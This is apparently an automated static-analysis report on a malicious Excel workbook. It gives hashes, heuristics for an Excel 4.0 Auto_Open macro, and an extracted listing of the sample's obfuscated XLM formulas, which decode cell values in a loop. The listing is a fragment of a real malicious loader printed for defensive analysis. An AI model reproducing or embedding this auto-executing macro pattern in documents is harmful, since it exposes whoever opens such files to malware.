Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c10e25de1658f8c5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:37:56 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 125cc70fc8d9e9d5bb58c82ac68a0037 SHA-1: 91551b12e5a300cb92b2eb0075868045336385ae SHA-256: c10e25de1658f8c508599dc0adccaa4e661d4ad2a201457746b80b9749619f0e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6625 bytes
SHA-256: 4176fc44472529c166d96edf1c07c7665276288db47bc29f598ab0112736206b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eLVOV
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G168 
' 0018     25 LABEL : Cell Value, String Constant - avlHhUtIOo len=0 
' 0018     20 LABEL : Cell Value, String Constant - bwkmQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - eEfRylPsYyJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - euvboKsj len=0 
' 0018     22 LABEL : Cell Value, String Constant - gFAWoOY len=0 
' 0018     21 LABEL : Cell Value, String Constant - hDJVyL len=0 
' 0018     26 LABEL : Cell Value, String Constant - IlpvCmiAjJA len=0 
' 0018     26 LABEL : Cell Value, String Constant - IVqBPtmaZtg len=0 
' 0018     25 LABEL : Cell Value, String Constant - litljincUc len=0 
' 0018     21 LABEL : Cell Value, String Constant - MBMGEg len=0 
' 0018     26 LABEL : Cell Value, String Constant - mPxXHtGOthp len=0 
' 0018     21 LABEL : Cell Value, String Constant - OkUroJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - QUbdVmK len=0 
' 0018     23 LABEL : Cell Value, String Constant - qyNWLbtT len=0 
' 0018     25 LABEL : Cell Value, String Constant - skkCbRzcHv len=0 
' 0018     22 LABEL : Cell Value, String Constant - tcaMxZa len=0 
' 0018     24 LABEL : Cell Value, String Constant - uwgAXmGsq len=0 
' 0018     22 LABEL : Cell Value, String Constant - UwyDlmh len=0 
' 0018     26 LABEL : Cell Value, String Constant - WtXIoXqQHVd len=0 
' 0018     23 LABEL : Cell Value, String Constant - XWtxxNXN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eLVOV,P44,"",-233.00000000000000000000
'  eLVOV,P45,"",-59.00000000000000000000
'  eLVOV,P46,"",-654.00000000000000000000
'  eLVOV,P47,"",-689.00000000000000000000
'  eLVOV,P48,"",-421.00000000000000000000
'  eLVOV,P49,"",768.00000000000000000000
'  eLVOV,G80,"SET.NAME("skkCbRzcHv",0+VALUE("0"))",""
'  eLVOV,G82,"SET.NAME("OkUroJ",skkCbRzcHv)",""
'  eLVOV,G85,"SET.NAME("qyNWLbtT",skkCbRzcHv)",""
'  eLVOV,G90,"SET.NAME("eEfRylPsYyJ",COUNTA(XWtxxNXN))",""
'  eLVOV,G94,"SET.NAME("avlHhUtIOo",COUNTA(euvboKsj))",""
'  eLVOV,G99,[],""
'  eLVOV,G102,"SET.NAME("IlpvCmiAjJA","")",""
'  eLVOV,G105,"OkUroJ",""
'  eLVOV,G108,"SET.NAME("hDJVyL",HLOOKUP("*",XWtxxNXN,OkUroJ,FALSE))",""
'  eLVOV,G110,"uwgAXmGsq",""
'  eLVOV,G115,"SET.NAME("MBMGEg",skkCbRzcHv)",""
'  eLVOV,G119,[],""
'  eLVOV,G122,"MBMGEg",""
'  eLVOV,G125,"QUbdVmK",""
'  eLVOV,G127,"bwkmQ",""
'  eLVOV,G131,"gFAWoOY",""
'  eLVOV,G135,"SET.NAME("litljincUc",VALUE(HLOOKUP("*",euvboKsj,gFAWoOY,FALSE)))",""
'  eLVOV,G139,"mPxXHtGOthp",""
'  eLVOV,G141,"IlpvCmiAjJA",""
'  eLVOV,G143,"qyNWLbtT",""
'  eLVOV,G147,NEXT(),""
'  eLVOV,G152,"IVqBPtmaZtg",""
'  eLVOV,G155,[],""
'  eLVOV,G157,"UwyDlmh",""
'  eLVOV,G161,NEXT(),""
'  eLVOV,G166,RETURN(),""
'  eLVOV,G191,"SET.NAME("tcaMxZa",G80)",""
'  eLVOV,G193,"XWtxxNXN",""
'  eLVOV,G196,"SET.NAME("euvboKsj",R81C13)",""
'  eLVOV,G198,"SET.NAME("UwyDlmh",206)",""
'  eLVOV,G201,"SET.NAME("WtXIoXqQHVd",7)",""
'  eLVOV,G205,tcaMxZa(),""
'  eLVOV,G206,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.